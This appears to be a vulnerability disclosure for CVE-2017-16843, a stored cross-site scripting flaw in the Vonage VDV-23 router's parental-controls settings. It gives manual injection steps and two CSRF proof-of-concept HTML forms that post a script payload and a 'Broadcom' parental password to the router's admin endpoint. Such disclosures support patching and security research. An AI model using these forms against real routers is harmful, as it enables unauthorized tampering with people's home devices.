Vonage VDV23 – Cross-Site Scripting
# Exploit Title: Vonage Home Router – Stored Xss # Date: 16/11/2017 # Exploit Author: Nu11By73 # Hardware Version: VDV-23: 115 # Software Version: 3.2.11-0.9.40 # CVE : CVE-2017-16843 NewKeyword Parameter: 1. Login to the router 2. Click advanced setup 3. Click parental controls 4. In the block these keywords text box enter: test”><script>alert(1)</script> 5. Click the add keyword button to receive the pop up. NewDomain Parameter: 1. Login to the router 2. Click advanced setup 3. Click parental controls 4. In the block these websites text box enter: test”><script>alert(1)</script> 5. Click the add domain button to receive the pop up. Proof of concept code: NewDomain.html <!—Note: The x and y values will need to be changed accordingly <html> <p>Authenticated Stored CSRF/XSS - Vonage Modem</p> <form method="POST" action="http://192.168.15.1/goform/RgParentalBasic"> <input type="hidden" name="RemoveContentRule" value="0" /> <input type="hidden" name="AddContentRule" value="0" /> <input type="hidden" name="ContentRules" value="0" /> <input type="hidden" name="RuleSelect" value="0" / > <input type="hidden" name="NewKeyword" value="" / > <input type="hidden" name="KeywordAction" value="0" /> <input type="hidden" name="NewDomain" value="test'><script>alert(1)</script>" /> <input type="hidden" name="x" value="50" /> <input type="hidden" name="y" value="15" /> <input type="hidden" name="DomainAction" value="1" /> <input type="hidden" name="AllowedDomainAction" value="0" /> <input type="hidden" name="ParentalPassword" value="Broadcom" /> <input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" /> <input type="hidden" name="AccessDuration" value="30" /> <input type="submit" title="Exploit" /> </form> </html> NewKeyword.html <!—Note: The x and y values will need to be changed accordingly <html> <p>Authenticated Stored CSRF/XSS - Vonage Modem</p> <form method="POST" action="http://192.168.15.1/goform/RgParentalBasic"> <input type="hidden" name="RemoveContentRule" value="0" /> <input type="hidden" name="AddContentRule" value="0" /> <input type="hidden" name="ContentRules" value="0" /> <input type="hidden" name="RuleSelect" value="0" / > <input type="hidden" name="NewKeyword" value="test'><script>alert(1)</script>" / > <input type="hidden" name="x" value="61" /> <input type="hidden" name="y" value="12" /> <input type="hidden" name="KeywordAction" value="1" /> <input type="hidden" name="NewDomain" value="" /> <input type="hidden" name="DomainAction" value="0" /> <input type="hidden" name="AllowedDomainAction" value="0" /> <input type="hidden" name="ParentalPassword" value="Broadcom" /> <input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" /> <input type="hidden" name="AccessDuration" value="30" /> <input type="submit" title="Enable Service" /> </form> </html> |